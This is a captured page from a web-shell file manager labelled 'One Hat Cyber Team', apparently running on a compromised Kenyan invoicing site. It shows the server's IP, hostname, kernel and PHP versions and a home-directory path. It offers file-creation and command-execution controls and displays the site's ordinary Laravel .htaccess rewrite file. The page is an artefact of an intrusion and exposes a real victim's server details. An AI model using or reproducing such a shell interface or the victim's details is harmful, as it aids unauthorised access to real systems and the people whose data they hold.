⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.10
Server IP:
15.204.235.159
Server:
Linux srv.techlup.co.ke 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
tech
/
invoicing.techlup.co.ke
/
invoicing
/
View File Name :
.htaccess
RewriteEngine On RewriteCond %{HTTPS} !=on RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301] # Prevent Directory Listing <IfModule autoindex> IndexIgnore * </IfModule> <IfModule mod_rewrite.c> # Prevent Directory Listing <IfModule mod_negotiation.c> Options -MultiViews -Indexes </IfModule> RewriteEngine On # Prevent Direct Access to Protected Files <FilesMatch "(?i)(^artisan$|\.env|\.log)"> # Apache 2.2 syntax <IfModule !mod_authz_core.c> Order deny,allow Deny from all </IfModule> # Apache 2.4 syntax <IfModule mod_authz_core.c> Require all denied </IfModule> </FilesMatch> # Prevent Direct Access To Protected Folders RewriteRule ^(app|bootstrap|config|database|overrides|resources|routes|storage|tests)/(.*) / [L,R=301] # Prevent Direct Access To modules/vendor Folders Except Assets RewriteRule ^(modules|vendor)/(.*)\.((?!ico|gif|jpg|jpeg|png|js\b|css|less|sass|font|woff|woff2|eot|ttf|svg|xls|xlsx).)*$ / [L,R=301] # Redirect Trailing Slashes If Not A Folder... RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)/$ /$1 [L,R=301] # Send Requests To Front Controller... RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ index.php [L] # Handle Authorization Header RewriteCond %{HTTP:Authorization} . RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] </IfModule>